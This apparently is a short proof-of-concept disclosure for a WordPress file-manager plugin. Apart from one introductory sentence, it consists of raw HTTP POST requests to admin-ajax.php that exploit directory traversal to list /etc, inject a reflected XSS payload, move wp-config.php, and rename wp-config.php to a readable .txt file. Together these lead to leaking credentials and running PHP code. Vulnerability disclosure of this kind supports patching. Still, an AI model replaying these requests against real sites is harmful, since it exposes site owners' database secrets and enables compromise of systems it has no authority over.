Following the PoC you can combine the vulnerabilities to obtain PHP code execution and read sensitive file. By default the File Manager can only be used by Administrator users, however, any user role can be configured to use it.
Diretory Trasversal:
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: */*
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: REDACTED
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 53
Connection: close
Cookie: REDACTED
action=mrelocator_getdir&dir=../../../../../../../etc
Reflected XSS:
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: */*
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/wordpress/wp-admin/upload.php?page=mrelocator-submenu-handle
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 68
Connection: close
Cookie: REDACTED
action=mrelocator_getdir&dir=[XSS]
Move any file to any dir:
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: */*
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/wordpress/wp-admin/upload.php?page=mrelocator-submenu-handle
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 75
Connection: close
Cookie: REDACTED
action=mrelocator_move&dir_from=../../&dir_to=../../../&items=wp-config.php
Rename any file:
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: */*
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/wordpress/wp-admin/upload.php?page=mrelocator-submenu-handle
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 97
Connection: close
Cookie: REDACTED
action=mrelocator_rename&dir=../../&from=wp-config.php&to=wp-config.txt